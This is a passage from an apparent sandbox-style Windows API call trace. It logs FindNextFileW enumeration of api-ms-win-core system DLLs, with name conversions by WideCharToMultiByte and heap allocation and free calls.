lpMultiByteStr=0x252c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APDS.DLL", lpUsedDefaultChar=0x0) returned 8 [0165.675] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.675] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.675] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.675] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.675] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e8c8) returned 1 [0165.675] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf21dc5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf21dc5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="api-ms-win-core-console-l1-1-0.dll", cAlternateFileName="")) returned 1 [0165.675] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.675] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0165.675] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x252c288, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0165.675] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.675] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.675] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.675] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.675] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e8c8) returned 1 [0165.675] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cefbc66, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cefbc66, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="api-ms-win-core-datetime-l1-1-0.dll", cAlternateFileName="")) returned 1 [0165.675] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.675] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0165.675] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x252c120, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0165.675] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.675] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.675] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.675] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.675] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e8c8) returned 1 [0165.675] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cd32bf2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cd32bf2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="api-ms-win-core-debug-l1-1-0.dll", cAlternateFileName="")) returned 1 [0165.675] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.675] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0165.675] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x252c288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0165.676] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e8c8) returned 1 [0165.676] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="api-ms-win-core-delayload-l1-1-0.dll", cAlternateFileName="")) returned 1 [0165.676] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.676] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0165.676] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x252c120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0165.676] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e8c8) returned 1 [0165.676] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2ccc07d5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2ccc07d5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="api-ms-win-core-errorhandling-l1-1-0.dll", cAlternateFileName="")) returned 1 [0165.676] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.676] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0165.676] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x252c288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0165.676] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e8c8) returned 1 [0165.676] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cd7eeb0, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cd7eeb0, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="api-ms-win-core-fibers-l1-1-0.dll", cAlternateFileName="")) returned 1 [0165.676] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.676] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0165.676] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x252c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0165.676] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.676] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.677] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e8c8) returned 1 [0165.677] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="api-ms-win-core-file-l1-1-0.dll", cAlternateFileName="")) returned 1 [0165.677] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.677] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0165.677] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x252c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0165.677] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.677] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.677] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.677] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.677] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e8c8) returned 1 [0165.677] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8c9b158, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="")) returned 1 [0165.677] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.677] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0165.677] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", cchWideChar=31, lpMultiByteStr=0x252c120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0165.677] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.677] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.677] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.677] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.677] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e8c8) returned 1 [0165.677] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb859c590, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb859c590, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8c9b158, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="")) returned 1 [0165.677] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.677] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0165.677] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x252c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0165.677] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.677] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.677] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.677] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.677] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e8c8) returned 1 [0165.677] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cfe04a0, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cfe04a0, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="api-ms-win-core-handle-l1-1-0.dll", cAlternateFileName="")) returned 1 [0165.677] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.677] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.677] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0165.678] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x252c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0165.678] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e8c8) returned 1 [0165.678] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0c4cda, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0c4cda, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="api-ms-win-core-heap-l1-1-0.dll", cAlternateFileName="")) returned 1 [0165.678] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.678] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0165.678] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x252c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0165.678] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e8c8) returned 1 [0165.678] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d078a1c, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d078a1c, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="api-ms-win-core-interlocked-l1-1-0.dll", cAlternateFileName="")) returned 1 [0165.678] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.678] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0165.678] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", cchWideChar=38, lpMultiByteStr=0x252c120, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 38 [0165.678] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.678] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e8c8) returned 1 [0165.678] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cce6934, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cce6934, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="api-ms-win-core-io-l1-1-0.dll", cAlternateFileName="")) returned 1 [0165.678] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.678] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.678] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0165.678] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 